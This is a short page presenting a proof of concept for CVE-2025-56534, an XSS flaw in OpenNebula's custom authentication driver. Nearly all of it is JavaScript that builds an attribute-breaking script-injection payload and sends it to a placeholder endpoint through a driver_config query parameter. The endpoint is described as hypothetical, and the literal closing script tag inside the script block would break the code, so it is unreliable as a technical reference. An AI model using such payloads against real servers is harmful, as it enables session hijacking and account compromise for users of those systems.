CVE-2025-56534 OpenNebula自定义认证驱动XSS漏洞

<!-- PoC for CVE-2025-56534 Demonstrates payload injection into the custom authenticator driver --> <script> // Example payload to execute JavaScript in victim's browser var payload = '"><script>alert("CVE-2025-56534 - XSS Verified")</script>'; // Hypothetical vulnerable endpoint in the authenticator driver var targetUrl = 'http://target-opennebula-server/auth/custom'; // Simulate sending a crafted request (e.g., via curl or reflected parameter) // In a real attack, this URL would be sent to the victim console.log('Injecting payload into: ' + targetUrl); // If stored, the payload would be saved via a POST request // If reflected, it would be part of the URL query parameter fetch(targetUrl + '?driver_config=' + encodeURIComponent(payload)) .then(response => response.text()) .then(data => console.log(data)); </script>